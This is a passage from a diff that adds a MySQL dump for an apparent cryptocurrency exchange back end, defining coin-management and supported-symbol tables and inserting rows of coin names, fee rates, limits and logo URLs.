'最小兑换数量', + `max_charge_num` decimal(20, 8) NULL DEFAULT NULL COMMENT '最大兑换数量', + `commission` decimal(20, 8) NULL DEFAULT NULL COMMENT '手续费(%)', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '1 启用 2 禁用', + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `create_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '修改人', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '修改时间', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '0正常 2删除', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 33 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '币种管理' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_symbol_manage +-- ---------------------------- +INSERT INTO `t_symbol_manage` VALUES (15, 'link', 1.00000000, 10000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', 'binance', NULL, NULL, '2023-08-08 19:29:54', NULL, NULL, NULL, NULL); +INSERT INTO `t_symbol_manage` VALUES (16, 'dgb', 100.00000000, 10000.00000000, 0.30000000, 1, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', 'binance', NULL, NULL, '2023-08-09 01:50:33', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (17, 'cocos', 0.00100000, 10000.00000000, 0.20000000, 2, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cocos-bcx.png', 'binance', NULL, NULL, '2023-08-09 13:51:52', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (18, 'link', 1.00000000, 1000.00000000, 1.00000000, 0, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', 'binance', NULL, NULL, '2023-08-10 17:56:13', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (19, 'btc', 0.00100000, 10000.00000000, 0.10000000, 2, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', NULL, NULL, '2023-08-18 15:22:06', NULL, '2023-08-18 15:22:17', '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (20, 'eth', 0.00100000, 10000.00000000, 0.01000000, 3, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', NULL, NULL, '2023-08-18 15:22:32', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (21, 'trx', 1.00000000, 100000.00000000, 0.10000000, 3, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'binance', NULL, NULL, '2023-08-18 15:22:49', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (22, 'doge', 1.00000000, 1000000.00000000, 0.10000000, 5, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'binance', NULL, NULL, '2023-08-18 15:23:10', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (23, 'btc', 1.00000000, 100000000.00000000, 1.00000000, 1, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', NULL, NULL, '2023-08-21 19:30:54', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (24, 'eth', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', NULL, NULL, '2023-08-21 19:31:14', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (25, 'xrp', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'binance', NULL, NULL, '2023-08-21 19:31:34', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (26, 'ltc', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'binance', NULL, NULL, '2023-08-21 19:31:51', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (27, 'bnb', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'binance', NULL, NULL, '2023-08-21 19:32:13', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (28, 'matic', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'binance', NULL, NULL, '2023-08-21 19:32:30', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (29, 'sol', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'binance', NULL, NULL, '2023-08-21 19:32:45', NULL, NULL, '0', NULL); +INSERT INTO `t_symbol_manage` VALUES (30, '1000shib', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', NULL, 'binance', NULL, NULL, '2023-08-21 19:33:39', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (31, 'sfp', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safepal.jpeg', 'binance', NULL, NULL, '2023-08-21 19:33:59', NULL, NULL, '2', NULL); +INSERT INTO `t_symbol_manage` VALUES (32, 'usdt', 1.00000000, 1000000.00000000, 1.00000000, NULL, '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether.png', 'huobi', NULL, NULL, '2023-08-21 19:40:01', NULL, NULL, '0', NULL); + +-- ---------------------------- +-- Table structure for t_symbols +-- ---------------------------- +DROP TABLE IF EXISTS `t_symbols`; +CREATE TABLE `t_symbols` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `slug` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '币种名称(ID)', + `symbol` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种符号', + `fullname` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种全称', + `logo_Url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标链接', + `fiat` tinyint(0) NULL DEFAULT NULL COMMENT '是否法定货币', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4141 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '支持币种' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_symbols +-- ---------------------------- +INSERT INTO `t_symbols` VALUES (1, 'bitcoin', 'BTC', 'Bitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2, 'ethereum', 'ETH', 'Ethereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', NULL); +INSERT INTO `t_symbols` VALUES (3, 'tether', 'USDT', 'Tether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether.png', NULL); +INSERT INTO `t_symbols` VALUES (4, 'binance-coin', 'BNB', 'BNB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (5, 'usd-coin', 'USDC', 'USD Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usd-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (6, 'ripple', 'XRP', 'XRP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', NULL); +INSERT INTO `t_symbols` VALUES (7, 'binance-usd', 'BUSD', 'Binance USD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-usd.png', NULL); +INSERT INTO `t_symbols` VALUES (8, 'okb', 'OKB', 'OKB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okb.png', NULL); +INSERT INTO `t_symbols` VALUES (9, 'cardano', 'ADA', 'Cardano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', NULL); +INSERT INTO `t_symbols` VALUES (10, 'dogecoin', 'DOGE', 'Dogecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (11, 'wrapped-bitcoin', 'WBTC', 'Wrapped Bitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-bitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (12, 'tron', 'TRX', 'TRON (BSC)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', NULL); +INSERT INTO `t_symbols` VALUES (13, 'litecoin', 'LTC', 'Litecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (14, 'solana', 'SOL', 'Solana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', NULL); +INSERT INTO `t_symbols` VALUES (15, 'matic-network', 'MATIC', 'Polygon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', NULL); +INSERT INTO `t_symbols` VALUES (16, 'polkadot-new', 'DOT', 'Polkadot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkadot-new.png', NULL); +INSERT INTO `t_symbols` VALUES (17, 'dai', 'DAI', 'Dai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dai.png', NULL); +INSERT INTO `t_symbols` VALUES (18, 'shiba-inu', 'SHIB', 'Shiba Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiba-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (19, 'avalanche', 'AVAX', 'Avalanche', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avalanche.png', NULL); +INSERT INTO `t_symbols` VALUES (20, 'uniswap', 'UNI', 'Uniswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniswap.png', NULL); +INSERT INTO `t_symbols` VALUES (21, 'bitcoin-cash', 'BCH', 'Bitcoin Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (22, 'unus-sed-leo', 'LEO', 'LEO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unus-sed-leo.png', NULL); +INSERT INTO `t_symbols` VALUES (23, 'chainlink', 'LINK', 'Chainlink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', NULL); +INSERT INTO `t_symbols` VALUES (24, 'hdw', 'HDW', 'Hardware Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hdw.png', NULL); +INSERT INTO `t_symbols` VALUES (25, 'monero', 'XMR', 'Monero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero.png', NULL); +INSERT INTO `t_symbols` VALUES (26, 'cosmos', 'ATOM', 'Cosmos Hub', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmos.png', NULL); +INSERT INTO `t_symbols` VALUES (27, 'universe', 'UNI', 'UNIVERSE Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/universe.png', NULL); +INSERT INTO `t_symbols` VALUES (28, 'ethereum-classic', 'ETC', 'Ethereum Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (29, 'stellar', 'XLM', 'Stellar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stellar.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (30, 'toncoin', 'TON', 'Toncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (31, 'hedera-hashgraphiou', 'HBAR', 'Hedera', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedera-hashgraphiou.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (32, 'lido-dao', 'LDO', 'Lido DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lido-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (33, 'hex', 'HEX', 'HEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hex.png', NULL); +INSERT INTO `t_symbols` VALUES (34, 'cro', 'CRO', 'Cronos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cro.png', NULL); +INSERT INTO `t_symbols` VALUES (35, 'filecoin-mainnet', 'FIL', 'Filecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (36, 'arbitrum', 'ARB', 'Arbitrum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitrum.png', NULL); +INSERT INTO `t_symbols` VALUES (37, 'emphy', 'EPY', 'Emphy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EmphyOfficial.jpg', NULL); +INSERT INTO `t_symbols` VALUES (38, 'vet', 'VET', 'VeChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/vet.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (39, 'qnt', 'QNT', 'Quant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qnt.png', NULL); +INSERT INTO `t_symbols` VALUES (40, 'near-iounear', 'NEAR', 'NEAR Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/near-iounear.png', NULL); +INSERT INTO `t_symbols` VALUES (41, 'dfn', 'ICP', 'Internet Computer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (42, 'ongsocial', 'ONG', 'SoMee.Social [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ongsocial.png', NULL); +INSERT INTO `t_symbols` VALUES (43, 'blockstack', 'STX', 'Stacks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockstack.jpg', NULL); +INSERT INTO `t_symbols` VALUES (44, 'aptos', 'APT', 'Aptos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aptos.png', NULL); +INSERT INTO `t_symbols` VALUES (45, 'aavenew', 'AAVE', 'Aave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavenew.png', NULL); +INSERT INTO `t_symbols` VALUES (46, 'algorand', 'ALGO', 'Algorand', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/algorand.png', NULL); +INSERT INTO `t_symbols` VALUES (47, 'apecoin-ape', 'APE', 'ApeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apecoin-ape.png', NULL); +INSERT INTO `t_symbols` VALUES (48, 'elrond-erd-2', 'EGLD', 'MultiversX (Elrond)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elrond-erd-2.png', NULL); +INSERT INTO `t_symbols` VALUES (49, 'the-graph', 'GRT', 'The Graph', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-graph.png', NULL); +INSERT INTO `t_symbols` VALUES (50, 'fantom', 'FTM', 'Fantom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantom.png', NULL); +INSERT INTO `t_symbols` VALUES (51, 'eos', 'EOS', 'EOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos.png', NULL); +INSERT INTO `t_symbols` VALUES (52, 'theta-token', 'THETA', 'Theta Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theta-token.png', NULL); +INSERT INTO `t_symbols` VALUES (53, 'trueusd', 'TUSD', 'TrueUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trueusd.png', NULL); +INSERT INTO `t_symbols` VALUES (54, 'tezos', 'XTZ', 'Tezos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tezos.png', NULL); +INSERT INTO `t_symbols` VALUES (55, 'decentraland', 'MANA', 'Decentraland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentraland.png', NULL); +INSERT INTO `t_symbols` VALUES (56, 'rocket-pool', 'RPL', 'Rocket Pool', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Rocket_Pool.jpg', NULL); +INSERT INTO `t_symbols` VALUES (57, 'usdd', 'USDD', 'USDD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdd.png', NULL); +INSERT INTO `t_symbols` VALUES (58, 'the-sandbox', 'SAND', 'The Sandbox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-sandbox.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (59, 'drep-new', 'DREP', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drep-new.png', NULL); +INSERT INTO `t_symbols` VALUES (60, 'pepe', 'PEPE', 'Pepe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pepe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (61, 'bitcoin-cash-sv', 'BSV', 'Bitcoin SV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash-sv.png', NULL); +INSERT INTO `t_symbols` VALUES (62, 'axie-infinity', 'AXS', 'Axie Infinity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axie-infinity.png', NULL); +INSERT INTO `t_symbols` VALUES (63, 'kucoin-shares', 'KCS', 'KuCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kucoin-shares.png', NULL); +INSERT INTO `t_symbols` VALUES (64, 'conflux-token', 'CFX', 'Conflux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/conflux-token.png', NULL); +INSERT INTO `t_symbols` VALUES (65, 'neo', 'NEO', 'NEO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neo.png', NULL); +INSERT INTO `t_symbols` VALUES (66, 'maker', 'MKR', 'Maker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maker.png', NULL); +INSERT INTO `t_symbols` VALUES (67, 'gatechain', 'GT', 'Gate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gatechain.png', NULL); +INSERT INTO `t_symbols` VALUES (68, 'render-token', 'RNDR', 'Render', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/render-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (69, 'gusd', 'GUSD', 'Gemini Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gusd.png', NULL); +INSERT INTO `t_symbols` VALUES (70, 'curve', 'CRV', 'Curve DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curve.png', NULL); +INSERT INTO `t_symbols` VALUES (71, 'flow', 'FLOW', 'Flow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flow.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (72, 'havven', 'SNX', 'Synthetix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havven.png', NULL); +INSERT INTO `t_symbols` VALUES (73, 'bitbay', 'BAY', 'BitBay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbay.png', NULL); +INSERT INTO `t_symbols` VALUES (74, 'injective-protocol', 'INJ', 'Injective', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/injective-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (75, 'chiliz', 'CHZ', 'Chiliz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chiliz.png', NULL); +INSERT INTO `t_symbols` VALUES (76, 'immutablex', 'IMX', 'ImmutableX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/immutablex.png', NULL); +INSERT INTO `t_symbols` VALUES (77, 'terra-luna', 'LUNC', 'Terra Luna Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna.png', NULL); +INSERT INTO `t_symbols` VALUES (78, 'klaytn', 'KLAY', 'Klaytn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/klaytn.png', NULL); +INSERT INTO `t_symbols` VALUES (79, 'pax-gold', 'PAXG', 'PAX Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pax-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (80, 'tether-gold', 'XAUT', 'Tether Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (81, 'ecash', 'XEC', 'eCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (82, 'bitdao', 'BIT', 'BitDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (83, 'bittorrent-new', 'BTT', 'BitTorrent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bittorrent-new.jpg', NULL); +INSERT INTO `t_symbols` VALUES (84, 'xinfin-network', 'XDC', 'XDC Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xinfin-network.png', NULL); +INSERT INTO `t_symbols` VALUES (85, 'mina-protocoliou', 'MINA', 'Mina', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mina-protocoliou.png', NULL); +INSERT INTO `t_symbols` VALUES (86, 'huobi-token', 'HT', 'Huobi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/huobi-token.png', NULL); +INSERT INTO `t_symbols` VALUES (87, 'casper-network', 'CSPR', 'Casper Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/casper-network.png', NULL); +INSERT INTO `t_symbols` VALUES (88, 'frax-share', 'FXS', 'Frax Share', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frax-share.png', NULL); +INSERT INTO `t_symbols` VALUES (89, 'zcash', 'ZEC', 'Zcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcash.png', NULL); +INSERT INTO `t_symbols` VALUES (90, 'dash', 'DASH', 'Dash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash.png', NULL); +INSERT INTO `t_symbols` VALUES (91, 'tontoken', 'TON', 'TON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tontoken.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (92, 'kava', 'KAVA', 'Kava', 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kava.png', NULL); +INSERT INTO `t_symbols` VALUES (93, 'trust-wallet', 'TWT', 'Trust Wallet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trust%20wallet.png', NULL); +INSERT INTO `t_symbols` VALUES (94, 'nexo', 'NEXO', 'Nexo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexo.png', NULL); +INSERT INTO `t_symbols` VALUES (95, 'ftx', 'FTT', 'FTX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftx.png', NULL); +INSERT INTO `t_symbols` VALUES (96, 'loopring', 'LRC', 'Loopring', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopring.png', NULL); +INSERT INTO `t_symbols` VALUES (97, 'zilliqa', 'ZIL', 'Zilliqa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zilliqa.png', NULL); +INSERT INTO `t_symbols` VALUES (98, 'thorchain', 'RUNE', 'THORChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorchain.png', NULL); +INSERT INTO `t_symbols` VALUES (99, 'enjin-coin', 'ENJ', 'Enjin Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enjin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (100, 'gnosis-gno', 'GNO', 'Gnosis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gnosis-gno.png', NULL); +INSERT INTO `t_symbols` VALUES (101, 'just-stablecoin', 'USDJ', 'USDJ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just-stablecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (102, 'basic-attention-token', 'BAT', 'Basic Attention', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basic-attention-token.png', NULL); +INSERT INTO `t_symbols` VALUES (103, 'convex-finance', 'CVX', 'Convex Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/convex-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (104, 'optimism', 'OP', 'Optimism', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optimism.png', NULL); +INSERT INTO `t_symbols` VALUES (105, 'singularitynet-x', 'AGIX', 'SingularityNET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet-x.png', NULL); +INSERT INTO `t_symbols` VALUES (106, 'dydx', 'DYDX', 'dYdX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dydx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (107, 'okexchain', 'OKT', 'OKT Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okexchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (108, '1inch', '1INCH', '1inch Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1inch.png', NULL); +INSERT INTO `t_symbols` VALUES (109, 'nem', 'XEM', 'NEM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nem.png', NULL); +INSERT INTO `t_symbols` VALUES (110, 'mxtoken', 'MX', 'MX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/mxtoken.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (111, 'pancakeswap', 'CAKE', 'PancakeSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pancakeswap.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (112, 'compound-governance-token', 'COMP', 'Compound', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compound-governance-token.png', NULL); +INSERT INTO `t_symbols` VALUES (113, 'oasis-network', 'ROSE', 'Oasis Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oasis-network.png', NULL); +INSERT INTO `t_symbols` VALUES (114, 'holo', 'HOT', 'Holo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/holo.png', NULL); +INSERT INTO `t_symbols` VALUES (115, 'flex-coin', 'FLEX', 'FLEX Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flex-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (116, 'floki-inu', 'FLOKI', 'FLOKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/floki-inu.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (117, 'qtum', 'QTUM', 'Qtum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qtum.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (118, 'celo-gold', 'CELO', 'Celo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celo-gold.png', NULL); +INSERT INTO 